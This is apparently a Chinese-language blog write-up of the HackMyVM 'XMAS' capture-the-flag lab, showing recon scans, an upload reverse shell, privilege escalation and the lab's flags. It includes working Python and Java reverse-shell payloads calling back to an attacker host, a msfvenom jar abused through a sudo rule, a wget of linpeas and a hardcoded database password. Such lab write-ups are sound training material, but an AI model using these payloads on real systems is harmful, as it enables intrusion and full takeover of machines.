rustscan -a 10.0.2.18 -- -A<\/code><\/pre>\nOpen 10.0.2.18:22\nOpen 10.0.2.18:80<\/code><\/pre>\nPORT STATE SERVICE REASON VERSION\n22\/tcp open ssh syn-ack OpenSSH 9.0p1 Ubuntu 1ubuntu8.5 (Ubuntu Linux; protocol 2.0)\n| ssh-hostkey: \n| 256 a6:3e:0b:65:85:2c:0c:5e:47:14:a9:dd:aa:d4:8c:60 (ECDSA)\n| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBB6Iuk2lt0gUkwd20LjylnFLItynNaqS7OuMGenbc2LNuIbmX\/gZGLZtpZvdTiMtV\/TQL1bAVcepNp2wlKDcOjw=\n| 256 99:72:b5:6e:1a:9e:70:b3:24:e0:59:98:a4:f9:d1:25 (ED25519)\n|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKoXAD4Qu41umJfR110GNdZPV8ldmZ8VSG0OhQyVO+Fw\n80\/tcp open http syn-ack Apache httpd 2.4.55\n| http-methods: \n|_ Supported Methods: GET HEAD POST OPTIONS\n|_http-title: Did not follow redirect to http:\/\/christmas.hmv\n|_http-server-header: Apache\/2.4.55 (Ubuntu)\nService Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:\/o:linux:linux_kernel<\/code><\/pre>\n\u76ee\u5f55\u626b\u63cf<\/h3>\ngobuster dir -u http:\/\/10.0.2.18\/ -w \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt<\/code><\/pre>\nError: the server returns a status code that matches the provided options for non existing urls. http:\/\/10.0.2.18\/96892852-b184-4e22-8560-c544262528af => 301 (Length: 339). To continue please exclude the status code or the length<\/code><\/pre>\n\u67e5\u770b\u4e00\u4e0b\u7f51\u9875\uff0c\u4f1a\u53d1\u751f\u8df3\u8f6c\uff1a<\/p>\n
http:\/\/christmas.hmv\/<\/code><\/pre>\n\u52a0\u4e00\u4e2adns\uff1a<\/p>\n
# \/etc\/hosts\n10.0.2.18 christmas.hmv<\/code><\/pre>\n\u518d\u626b\u4e00\u4e0b\uff1a<\/p>\n
gobuster dir -u http:\/\/christmas.hmv\/ -w \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt<\/code><\/pre>\n\/images (Status: 301) [Size: 315] [--> http:\/\/christmas.hmv\/images\/]\n\/uploads (Status: 301) [Size: 316] [--> http:\/\/christmas.hmv\/uploads\/]\n\/php (Status: 301) [Size: 312] [--> http:\/\/christmas.hmv\/php\/]\n\/css (Status: 301) [Size: 312] [--> http:\/\/christmas.hmv\/css\/]\n\/js (Status: 301) [Size: 311] [--> http:\/\/christmas.hmv\/js\/]\n\/javascript (Status: 301) [Size: 319] [--> http:\/\/christmas.hmv\/javascript\/]\n\/fonts (Status: 301) [Size: 314] [--> http:\/\/christmas.hmv\/fonts\/]\n\/server-status (Status: 403) [Size: 278]<\/code><\/pre>\n\u6f0f\u6d1e\u626b\u63cf<\/h3>\nnikto -h http:\/\/10.0.2.18<\/code><\/pre>\n- Nikto v2.5.0\n---------------------------------------------------------------------------\n+ Target IP: 10.0.2.18\n+ Target Hostname: 10.0.2.18\n+ Target Port: 80\n+ Start Time: 2024-04-02 00:56:24 (GMT-4)\n---------------------------------------------------------------------------\n+ Server: Apache\/2.4.55 (Ubuntu)\n+ \/: The anti-clickjacking X-Frame-Options header is not present. See: https:\/\/developer.mozilla.org\/en-US\/docs\/Web\/HTTP\/Headers\/X-Frame-Options\n+ \/: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https:\/\/www.netsparker.com\/web-vulnerability-scanner\/vulnerabilities\/missing-content-type-header\/\n+ Root page \/ redirects to: http:\/\/christmas.hmv\n+ No CGI Directories found (use '-C all' to force check all possible dirs)\n+ \/modules.php?letter=%22%3E%3Cimg%20src=javascript:alert(document.cookie);%3E&op=modload&name=Members_List&file=index: Post Nuke 0.7.2.3-Phoenix is vulnerable to Cross Site Scripting (XSS).\n+ 8102 requests: 0 error(s) and 3 item(s) reported on remote host\n+ End Time: 2024-04-02 00:56:36 (GMT-4) (12 seconds)\n---------------------------------------------------------------------------\n+ 1 host(s) tested<\/code><\/pre>\n\u6f0f\u6d1e\u6316\u6398<\/h2>\n\u67e5\u770b\u654f\u611f\u76ee\u5f55<\/h3>\n
<\/div><\/p>\n\u6709\u4e00\u4e2a\u53ef\u4ee5\u67e5\u770b\u4e0a\u4f20\u6587\u4ef6\u7684\u5730\u65b9\uff0c\u5bfb\u627e\u4e00\u4e0b\u6709\u65e0\u6587\u4ef6\u4e0a\u4f20\u7684\u5730\u65b9\uff1a<\/p>\n
\u627e\u5230\u4e00\u5904\u95ee\u7b54\u5730\u65b9\uff1a<\/p>\n
<\/div><\/p>\nWhat was Josephs job? \nCarpenter\nHow many red nosed reindeers pull Santa's sleigh? \n1\nWhat country did Christmas Trees originate from?\nGermany\nHow does Santa Claus go back up the Chimney to continue his journey of delivering gifts?\nHe jumps up through the chimney\nIn the TV series Simpsons, what species is Santas little helper?\nDog<\/code><\/pre>\n\u6253\u5b8c\u65e0\u4e8b\u53d1\u751f\u3002\u3002\u3002<\/p>\n
\u6587\u4ef6\u4e0a\u4f20\u53cd\u5f39shell<\/h3>\n
\u627e\u5230\u4e00\u4e2a\u4e0a\u4f20\u70b9\uff1a<\/p>\n
<\/div>
\n<\/div>
\n<\/div><\/p>\nwtf?\u96be\u9053\u5f04\u9519\u4e86\uff1f\u518d\u6765\u4e00\u6b21\uff1a<\/p>\n
<\/div><\/p>\n\u83ab\u540d\u5176\u5999\u53c8\u6709\u4e86\uff0c\u8fde\u63a5\u4e00\u4e0b\uff1a<\/p>\n
<\/div><\/p>\n\u63d0\u6743<\/h2>\n\u4fe1\u606f\u641c\u96c6<\/h3>\n(remote) www-data@xmas:\/$ whoami;id\nwww-data\nuid=33(www-data) gid=33(www-data) groups=33(www-data)\n(remote) www-data@xmas:\/$ pwd \n\/\n(remote) www-data@xmas:\/$ cd \/var\/www\/html\n(remote) www-data@xmas:\/var\/www\/html$ ls -la\ntotal 20\ndrwxr-xr-x 2 root root 4096 Nov 17 19:20 .\ndrwxr-xr-x 4 root root 4096 Nov 17 19:59 ..\n-rw-r--r-- 1 root root 10671 Nov 17 19:20 index.html\n(remote) www-data@xmas:\/var\/www\/html$ cd ..\/;ls -la\ntotal 16\ndrwxr-xr-x 4 root root 4096 Nov 17 19:59 .\ndrwxr-xr-x 14 root root 4096 Nov 17 19:20 ..\ndrwxr-xr-x 8 root root 4096 Nov 19 21:35 christmas.hmv\ndrwxr-xr-x 2 root root 4096 Nov 17 19:20 html\n(remote) www-data@xmas:\/var\/www$ cd christmas.hmv\/\n(remote) www-data@xmas:\/var\/www\/christmas.hmv$ ls -la\ntotal 60\ndrwxr-xr-x 8 root root 4096 Nov 19 21:35 .\ndrwxr-xr-x 4 root root 4096 Nov 17 19:59 ..\ndrwxr-xr-x 2 root root 4096 Nov 17 20:22 css\ndrwxr-xr-x 2 root root 4096 Nov 17 20:22 fonts\ndrwxr-xr-x 2 root root 4096 Nov 19 16:22 images\n-rw-r--r-- 1 root root 25482 Nov 19 21:26 index.php\ndrwxr-xr-x 2 root root 4096 Nov 17 20:22 js\ndrwxr-xr-x 2 root root 4096 Nov 17 20:22 php\ndrwxrwxrwx 2 www-data www-data 4096 Apr 2 05:28 uploads\n(remote) www-data@xmas:\/var\/www\/christmas.hmv$ cat \/etc\/passwd\nroot:x:0:0:root:\/root:\/bin\/bash\ndaemon:x:1:1:daemon:\/usr\/sbin:\/usr\/sbin\/nologin\nbin:x:2:2:bin:\/bin:\/usr\/sbin\/nologin\nsys:x:3:3:sys:\/dev:\/usr\/sbin\/nologin\nsync:x:4:65534:sync:\/bin:\/bin\/sync\ngames:x:5:60:games:\/usr\/games:\/usr\/sbin\/nologin\nman:x:6:12:man:\/var\/cache\/man:\/usr\/sbin\/nologin\nlp:x:7:7:lp:\/var\/spool\/lpd:\/usr\/sbin\/nologin\nmail:x:8:8:mail:\/var\/mail:\/usr\/sbin\/nologin\nnews:x:9:9:news:\/var\/spool\/news:\/usr\/sbin\/nologin\nuucp:x:10:10:uucp:\/var\/spool\/uucp:\/usr\/sbin\/nologin\nproxy:x:13:13:proxy:\/bin:\/usr\/sbin\/nologin\nwww-data:x:33:33:www-data:\/var\/www:\/usr\/sbin\/nologin\nbackup:x:34:34:backup:\/var\/backups:\/usr\/sbin\/nologin\nlist:x:38:38:Mailing List Manager:\/var\/list:\/usr\/sbin\/nologin\nirc:x:39:39:ircd:\/run\/ircd:\/usr\/sbin\/nologin\n_apt:x:42:65534::\/nonexistent:\/usr\/sbin\/nologin\nnobody:x:65534:65534:nobody:\/nonexistent:\/usr\/sbin\/nologin\nsystemd-network:x:998:998:systemd Network Management:\/:\/usr\/sbin\/nologin\nsystemd-timesync:x:997:997:systemd Time Synchronization:\/:\/usr\/sbin\/nologin\nmessagebus:x:100:106::\/nonexistent:\/usr\/sbin\/nologin\nsystemd-resolve:x:996:996:systemd Resolver:\/:\/usr\/sbin\/nologin\npollinate:x:101:1::\/var\/cache\/pollinate:\/bin\/false\nsshd:x:102:65534::\/run\/sshd:\/usr\/sbin\/nologin\nsyslog:x:103:109::\/nonexistent:\/usr\/sbin\/nologin\nuuidd:x:104:110::\/run\/uuidd:\/usr\/sbin\/nologin\ntcpdump:x:105:111::\/nonexistent:\/usr\/sbin\/nologin\ntss:x:106:112:TPM software stack,,,:\/var\/lib\/tpm:\/bin\/false\nlandscape:x:107:113::\/var\/lib\/landscape:\/usr\/sbin\/nologin\nfwupd-refresh:x:108:114:fwupd-refresh user,,,:\/run\/systemd:\/usr\/sbin\/nologin\nalabaster:x:1000:1000:Alabaster Snowball:\/home\/alabaster:\/bin\/bash\nlxd:x:999:100::\/var\/snap\/lxd\/common\/lxd:\/bin\/false\nmysql:x:109:116:MySQL Server,,,:\/nonexistent:\/bin\/false\nsanta:x:1001:1001:Santa Claus,,,:\/home\/santa:\/bin\/bash\nsugurplum:x:1002:1002:Sugurplum Mary,,,:\/home\/sugurplum:\/bin\/bash\nbushy:x:1003:1003:Bushy Evergreen,,,:\/home\/bushy:\/bin\/bash\npepper:x:1004:1004:Pepper Minstix,,,:\/home\/pepper:\/bin\/bash\nshinny:x:1005:1005:Shinny Upatree,,,:\/home\/shinny:\/bin\/bash\nwunorse:x:1006:1006:Wunorse Openslae,,,:\/home\/wunorse:\/bin\/bash\n(remote) www-data@xmas:\/var\/www\/christmas.hmv$ cat \/etc\/cron*\ncat: \/etc\/cron.d: Is a directory\ncat: \/etc\/cron.daily: Is a directory\ncat: \/etc\/cron.hourly: Is a directory\ncat: \/etc\/cron.monthly: Is a directory\ncat: \/etc\/cron.weekly: Is a directory\n# \/etc\/crontab: system-wide crontab\n# Unlike any other crontab you don't have to run the `crontab'\n# command to install the new version when you edit this file\n# and files in \/etc\/cron.d. These files also have username fields,\n# that none of the other crontabs do.\n\nSHELL=\/bin\/sh\n# You can also override PATH, but by default, newer versions inherit it from the environment\n#PATH=\/usr\/local\/sbin:\/usr\/local\/bin:\/sbin:\/bin:\/usr\/sbin:\/usr\/bin\n\n# Example of job definition:\n# .---------------- minute (0 - 59)\n# | .------------- hour (0 - 23)\n# | | .---------- day of month (1 - 31)\n# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...\n# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat\n# | | | | |\n# * * * * * user-name command to be executed\n17 * * * * root cd \/ && run-parts --report \/etc\/cron.hourly\n25 6 * * * root test -x \/usr\/sbin\/anacron || { cd \/ && run-parts --report \/etc\/cron.daily; }\n47 6 * * 7 root test -x \/usr\/sbin\/anacron || { cd \/ && run-parts --report \/etc\/cron.weekly; }\n52 6 1 * * root test -x \/usr\/sbin\/anacron || { cd \/ && run-parts --report \/etc\/cron.monthly; }\n#\n(remote) www-data@xmas:\/var\/www\/christmas.hmv$ cd \/script\nbash: cd: \/script: No such file or directory\n(remote) www-data@xmas:\/var\/www\/christmas.hmv$ cd \/scripts\nbash: cd: \/scripts: No such file or directory\n(remote) www-data@xmas:\/var\/www\/christmas.hmv$ cd \/etc;ls -la\ntotal 960\n......(\u591a\u4e14\u6ca1\u6709\u53d1\u73b0\u5565)\n(remote) www-data@xmas:\/etc$ find \/ -perm -u=s -type f 2>\/dev\/null\n\/usr\/bin\/passwd\n\/usr\/bin\/sudo\n\/usr\/bin\/chsh\n\/usr\/bin\/newgrp\n\/usr\/bin\/su\n\/usr\/bin\/fusermount3\n\/usr\/bin\/mount\n\/usr\/bin\/gpasswd\n\/usr\/bin\/umount\n\/usr\/bin\/chfn\n\/usr\/libexec\/polkit-agent-helper-1\n\/usr\/lib\/dbus-1.0\/dbus-daemon-launch-helper\n\/usr\/lib\/snapd\/snap-confine\n\/usr\/lib\/openssh\/ssh-keysign\n\/snap\/snapd\/20290\/usr\/lib\/snapd\/snap-confine\n\/snap\/snapd\/21184\/usr\/lib\/snapd\/snap-confine\n\/snap\/core22\/1122\/usr\/bin\/chfn\n\/snap\/core22\/1122\/usr\/bin\/chsh\n\/snap\/core22\/1122\/usr\/bin\/gpasswd\n\/snap\/core22\/1122\/usr\/bin\/mount\n\/snap\/core22\/1122\/usr\/bin\/newgrp\n\/snap\/core22\/1122\/usr\/bin\/passwd\n\/snap\/core22\/1122\/usr\/bin\/su\n\/snap\/core22\/1122\/usr\/bin\/sudo\n\/snap\/core22\/1122\/usr\/bin\/umount\n\/snap\/core22\/1122\/usr\/lib\/dbus-1.0\/dbus-daemon-launch-helper\n\/snap\/core22\/1122\/usr\/lib\/openssh\/ssh-keysign\n\/snap\/core22\/1122\/usr\/libexec\/polkit-agent-helper-1\n\/snap\/core22\/864\/usr\/bin\/chfn\n\/snap\/core22\/864\/usr\/bin\/chsh\n\/snap\/core22\/864\/usr\/bin\/gpasswd\n\/snap\/core22\/864\/usr\/bin\/mount\n\/snap\/core22\/864\/usr\/bin\/newgrp\n\/snap\/core22\/864\/usr\/bin\/passwd\n\/snap\/core22\/864\/usr\/bin\/su\n\/snap\/core22\/864\/usr\/bin\/sudo\n\/snap\/core22\/864\/usr\/bin\/umount\n\/snap\/core22\/864\/usr\/lib\/dbus-1.0\/dbus-daemon-launch-helper\n\/snap\/core22\/864\/usr\/lib\/openssh\/ssh-keysign\n(remote) www-data@xmas:\/etc$ echo $PATH\n\/usr\/local\/sbin:\/usr\/local\/bin:\/usr\/sbin:\/usr\/bin:\/sbin:\/bin:\/snap\/bin\n(remote) www-data@xmas:\/etc$ cd \/opt\n(remote) www-data@xmas:\/opt$ ls -la\ntotal 12\ndrwxr-xr-x 3 root root 4096 Nov 20 18:39 .\ndrwxr-xr-x 20 root root 4096 Nov 17 17:25 ..\ndrwxr-xr-x 2 root root 4096 Nov 20 18:39 NiceOrNaughty\n(remote) www-data@xmas:\/opt$ cd NiceOrNaughty\/\n(remote) www-data@xmas:\/opt\/NiceOrNaughty$ ls -la\ntotal 12\ndrwxr-xr-x 2 root root 4096 Nov 20 18:39 .\ndrwxr-xr-x 3 root root 4096 Nov 20 18:39 ..\n-rwxrwxrw- 1 root root 2029 Nov 20 18:39 nice_or_naughty.py\n(remote) www-data@xmas:\/opt\/NiceOrNaughty$ cat nice_or_naughty.py \nimport mysql.connector\nimport random\nimport os\n\n# Check the wish lists directory\ndirectory = "\/var\/www\/christmas.hmv\/uploads"\n# Connect to the mysql database christmas\nmydb = mysql.connector.connect(\n host="localhost",\n user="root",\n password="ChristmasMustGoOn!",\n database="christmas"\n)\n\n#Read the names of the wish list\ndef read_names(directory):\n for filename in os.listdir(directory):\n full_path = os.path.join(directory, filename)\n if os.path.isfile(full_path):\n name, ext = os.path.splitext(filename)\n if any(char.isalnum() for char in name):\n status = random.choice(["nice", "naughty"])\n #print(f"{name} {status}")\n insert_data(name, status)\n os.remove(full_path)\n else:\n pass\n\n elif os.path.isdir(full_path):\n pass \n\n# Insert name into the database\ndef insert_data(name, status):\n mycursor = mydb.cursor()\n sql = "INSERT INTO christmas (name, status) VALUES ( %s, %s)"\n val = (name, status)\n mycursor.execute(sql, val)\n mydb.commit()\n\n#Generate printable Nice and Naughty list\ndef generate_lists():\n mycursor = mydb.cursor()\n\n # SQL query to fetch all names and status\n mycursor.execute("SELECT name, status FROM christmas")\n\n # Separate the nice and naughty lists\n nice_list = []\n naughty_list = []\n\n for (name, status) in mycursor:\n if status == "nice":\n nice_list.append(name)\n else:\n naughty_list.append(name)\n\n parent_directory = os.path.dirname(os.getcwd())\n file_path = "\/home\/alabaster\/nice_list.txt"\n # Save the nice and naughty lists to separate txt files\n with open(file_path, "w") as file:\n for name in nice_list:\n file.write(f"{name}\\n")\n file_path = "\/home\/alabaster\/naughty_list.txt"\n with open(file_path, "w") as file:\n for name in naughty_list:\n file.write(f"{name}\\n")\n\nread_names(directory)\ngenerate_lists()<\/code><\/pre>\n\u53ef\u4ee5\u770b\u5230-rwxrwxrw- 1 root root 2029 Nov 20 18:39 nice_or_naughty.py<\/code>\uff0c\u662f\u53ef\u5199\u7684\uff0c\u5728\u91cc\u9762\u52a0\u5165\u4e00\u4e2a\u53cd\u5f39shell\uff0c\u6211\u4e00\u5f00\u59cb\u7528hack_tools<\/code>\u7684\uff0c\u4f46\u662f\u6ca1\u6210\u529f\uff0c\u53c8\u6362\u4e86\u4e00\u4e2a\uff1a<\/p>\necho 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.2.4",2345));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("\/bin\/bash")' >\/opt\/NiceOrNaughty\/nice_or_naughty.py<\/code><\/pre>\n\u73b0\u5728\u5c31\u5f97\u60f3\u529e\u6cd5\u6267\u884c\u8fd9\u4e2a\u811a\u672c\uff0c\u56e0\u4e3a\u662f\u6ca1\u6709\u5b9a\u65f6\u4efb\u52a1\u7684\uff0c\u6240\u4ee5\u53ef\u80fd\u5b58\u5728\u67d0\u4e9b\u7a0b\u5e8f\u8c03\u7528\u65b9\u9762\u7684\uff0c\u4e0a\u4f20\u4e00\u4e2alinpea.sh<\/code>\uff1a<\/p>\n# kali\npython3 -m http.server 8888\n# xmas\nwget http:\/\/10.0.2.4:8888\/linpeas.sh\nchmod +x linpeas.sh\n.\/linpeas.sh<\/code><\/pre>\n\u521a\u51c6\u5907\u56de\u5934\u62ff\u7ec8\u7aef\u53bb\u63d0\u53d6\u4e00\u4e0b\u4fe1\u606f\uff0c\u7ed3\u679c\u53d1\u73b0shell\u5df2\u7ecf\u5f39\u56de\u6765\u4e86\uff1a<\/p>\n
<\/div><\/p>\n\u770b\u6765\u662f\u4f1a\u5b9a\u65f6\u89e6\u53d1\u7684\uff0c\u6211\u548b\u6ca1\u641c\u96c6\u5230\u5462\u3002\u3002<\/p>\n
\u4e0a\u4f20\u4e00\u4e2apspy64<\/code>\u770b\u770b\uff1a<\/p>\n<\/div><\/p>\n\u53d1\u73b0\u5b9a\u65f6\u4efb\u52a1\u4e86\u3002\u3002\u3002\u3002\u3002<\/p>\n
<\/div><\/p>\n\u989d\u3002\u3002\u3002\u3002\u3002<\/p>\n
\u63d0\u6743<\/h2>\n\u4fe1\u606f\u641c\u96c6<\/h3>\nalabaster@xmas:~$ sudo -l\nsudo -l\nMatching Defaults entries for alabaster on xmas:\n env_reset, mail_badpass,\n secure_path=\/usr\/local\/sbin\\:\/usr\/local\/bin\\:\/usr\/sbin\\:\/usr\/bin\\:\/sbin\\:\/bin\\:\/snap\/bin,\n use_pty\n\nUser alabaster may run the following commands on xmas:\n (ALL : ALL) ALL\n (ALL) NOPASSWD: \/usr\/bin\/java -jar\n \/home\/alabaster\/PublishList\/PublishList.jar\nalabaster@xmas:~$ cd \/home\/alabaster\/PublishList\/\ncd \/home\/alabaster\/PublishList\/\nalabaster@xmas:~\/PublishList$ ls -la\nls -la\ntotal 28\ndrwxrwxr-x 2 alabaster alabaster 4096 Nov 20 18:45 .\ndrwxr-x--- 7 alabaster alabaster 4096 Nov 20 18:43 ..\n-rw-rw-r-- 1 alabaster alabaster 38 Nov 20 18:45 manifest.mf\n-rw-rw-r-- 1 alabaster alabaster 24 Nov 20 18:44 MANIFEST.MF\n-rw-rw-r-- 1 alabaster alabaster 1760 Nov 20 18:45 PublishList.class\n-rw-rw-r-- 1 alabaster alabaster 1477 Nov 20 18:45 PublishList.jar\n-rw-rw-r-- 1 alabaster alabaster 1182 Nov 20 18:44 PublishList.java<\/code><\/pre>\n\u53d1\u73b0\u662f\u53ef\u5199\u7684\uff0c\u627e\u4e00\u4e0bjava\u7684\u53cd\u5f39shell\uff1a<\/p>\n
public class shell {\n public static void main(String[] args) {\n Process p;\n try {\n p = Runtime.getRuntime().exec("bash -c $@|bash 0 echo bash -i >& \/dev\/tcp\/10.0.2.4\/1234 0>&1");\n p.waitFor();\n p.destroy();\n } catch (Exception e) {}\n }\n}<\/code><\/pre>\n\u53ef\u4ee5\u81ea\u5df1\u7f16\u8bd1\u4e00\u4e0b\uff0c\u518d\u4e0a\u4f20\uff0c\u6211\u76f4\u63a5\u4f7f\u7528msf\u751f\u6210\u4e86\uff1a<\/p>\n
msfvenom -p java\/shell_reverse_tcp LHOST=10.0.2.4 LPORT=1234 -f jar -o shell.jar\npython3 -m http.server 8888<\/code><\/pre>\nmv PublishList.jar PublishList.jar.bak\nmv shell.jar PublishList.jar\nsudo \/usr\/bin\/java -jar \/home\/alabaster\/PublishList\/PublishList.jar\n# \u8fd9\u91cc\u8981\u7528\u7edd\u5bf9\u8def\u5f84\u54e6<\/code><\/pre>\n\u7136\u540e\u5c31\u4f1a\u5f39\u4e00\u4e2arootshell<\/code>\u52301234<\/code>\u76d1\u542c\u7aef\u53e3\u4e0a\u9762\u53bb\uff1a<\/p>\n[02:15:50] Welcome to pwncat \ud83d\udc08! __main__.py:164[02:20:14] received connection from 10.0.2.18:39176 bind.py:84[02:20:15] 0.0.0.0:1234: upgrading from \/usr\/bin\/dash to \/usr\/bin\/bash manager.py:957 10.0.2.18:39176: registered new host w\/ db manager.py:957\n(local) pwncat$ \n(remote) root@xmas:\/home\/alabaster\/PublishList# whoami;id\nroot\nuid=0(root) gid=0(root) groups=0(root)\n(remote) root@xmas:\/home\/alabaster\/PublishList# cd ..\/;ls -la\ntotal 60\ndrwxr-x--- 7 alabaster alabaster 4096 Nov 20 18:43 .\ndrwxr-xr-x 9 root root 4096 Nov 19 22:29 ..\n-rw------- 1 alabaster alabaster 791 Nov 20 19:28 .bash_history\n-rw-r--r-- 1 alabaster alabaster 220 Jan 7 2023 .bash_logout\n-rw-r--r-- 1 alabaster alabaster 3771 Jan 7 2023 .bashrc\ndrwx------ 3 alabaster alabaster 4096 Nov 19 11:07 .cache\ndrwxrwxr-x 4 alabaster alabaster 4096 Nov 19 11:08 .local\n-rw-rw-r-- 1 alabaster alabaster 43 Apr 2 05:38 naughty_list.txt\n-rw-rw-r-- 1 alabaster alabaster 35 Apr 2 05:38 nice_list.txt\ndrwxrwxr-x 2 alabaster alabaster 4096 Nov 19 21:50 NiceOrNaughty\n-rw-r--r-- 1 alabaster alabaster 807 Jan 7 2023 .profile\ndrwxrwxr-x 2 alabaster alabaster 4096 Apr 2 06:18 PublishList\n-rw-rw-r-- 1 alabaster alabaster 66 Nov 19 21:43 .selected_editor\ndrwx------ 2 alabaster alabaster 4096 Nov 17 17:32 .ssh\n-rw-r--r-- 1 alabaster alabaster 0 Nov 17 17:34 .sudo_as_admin_successful\n-rw-rw---- 1 alabaster alabaster 849 Nov 19 09:08 user.txt\n(remote) root@xmas:\/home\/alabaster# cat user.txt\n ||::|:|| .--------,\n |:||:|:| |_______ \/ .-.\n ||::|:|| ."` ___ `". {\\('v')\/}\n \\\\\\\/\\\/\/\/: .'` `'. ;____`( )'___________________________\n \\====\/ '.\/ o o \\|~ ^" "^ \/\/\n \\\\\/\/ | ())) . | Merry Christmas! \\\n || \\ `.__.' \/| \/\/\n || _{``-.___.-'\\| Flag: HMV{7bMJ6js7guhQadYDTmBt} \\\n || _." `-.____.-'`| ___ \/\/\n ||` __ \\ |___\/ \\______________________________\\\n ."|| (__) \\ \\| \/\n \/ `\\\/ __ vvvvv'\\___\/\n | | (__) |\n \\___\/\\ \/\n || | .___. |\n || | | |\n ||.-' | '-.\n || | )\n ||----------'---------'\n(remote) root@xmas:\/home\/alabaster# cat \/root\/root.txt\n __,_,_,___) _______\n (--| | | (--\/ ),_) ,_) \n | | | _ ,_,_ | |_ ,_ ' , _|_,_,_, _ ,\n __| | | (\/_| | (_| | | || |\/_)_| | | |(_|\/_)___,\n ( |___, ,__| \\____) |__, |__,\n\n | _...._\n \\ _ \/ .::o:::::.\n (\\o\/) .:::'''':o:.\n --- \/ \\ --- :o:_ _:::\n >*< `:}_>()<_{:'\n >0<@< @ `'\/\/\\\\'` @ \n >>>@<<* @ # \/\/ \\\\ # @\n >@>*<0<<< __#_#____\/'____'\\____#_#__\n >*>>@<<<@<< [__________________________]\n >@>>0<<<*<<@< |=_- .-\/\\ \/\\ \/\\ \/\\--. =_-|\n >*>>0<<@<<<@<<< |-_= | \\ \\\\ \\\\ \\\\ \\ |-_=-|\n >@>>*<<@<>*<<0<*< |_=-=| \/ \/\/ \/\/ \/\/ \/ |_=-_|\n \\*\/ >0>>*<<@<>0><<*<@<< |=_- |`-'`-'`-'`-' |=_=-|\n ___\\\\U\/\/___ >*>>@><0<<*>>@><*<0<< | =_-| o o |_==_| \n |\\\\ | | \\\\| >@>>0<*<<0>>@<<0<<<*<@< |=_- | ! ( ! |=-_=|\n | \\\\| | _(UU)_ >((*))_>0><*<0><@<<<0<*< _|-,-=| ! ). ! |-_-=|_\n |\\ \\| || \/ \/\/||.*.*.*.|>>@<<*<<@>><0<<@<\/=-((=_| ! __(:')__ ! |=_==_-\\\n |\\\\_|_|&&_\/\/ ||*.*.*.*|_\\\\db\/\/__ (\\_\/)-=))-|\/^\\=^=^^=^=\/^\\| _=-_-_\\\n """"|'.'.'.|~~|.*.*.*| ____|_ =('.')=\/\/ ,------------. \n |'.'.'.| ^^^^^^|____|>>>>>>| ( ~~~ )\/ (((((((()))))))) \n ~~~~~~~~ '""""`------' `w---w` `------------'\n Flag HMV{GUbM4sBXzvwf7eC9bNL4}<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"XMAS \u4fe1\u606f\u641c\u96c6 \u7aef\u53e3\u626b\u63cf rustscan -a 10.0.2.18 — -A Open 10.0.2. […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[11,24,18],"tags":[],"class_list":["post-487","post","type-post","status-publish","format-standard","hentry","category-ctf-and-protest","category-penetration-test","category-web"],"_links":{"self":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/487","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/comments?post=487"}],"version-history":[{"count":1,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/487\/revisions"}],"predecessor-version":[{"id":488,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/487\/revisions\/488"}],"wp:attachment":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/media?parent=487"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/categories?post=487"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/tags?post=487"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}
![\"image-20240402131016520\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404021423591.png\")
<\/div><\/p>\n![\"image-20240402131402278\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404021423592.png\")
<\/div><\/p>\n![\"image-20240402131921836\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404021423594.png\")
<\/div>![\"image-20240402132259893\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404021423595.png\")
<\/div>![\"image-20240402132325862\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404021423596.png\")
<\/div><\/p>\n![\"image-20240402132626059\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404021423597.png\")
<\/div><\/p>\n![\"image-20240402132718794\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404021423598.png\")
<\/div><\/p>\n![\"image-20240402135342940\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404021423599.png\")
<\/div><\/p>\n![\"image-20240402140305523\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404021423600.png\")
<\/div><\/p>\n![\"image-20240402140547914\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404021423601.png\")
<\/div><\/p>\n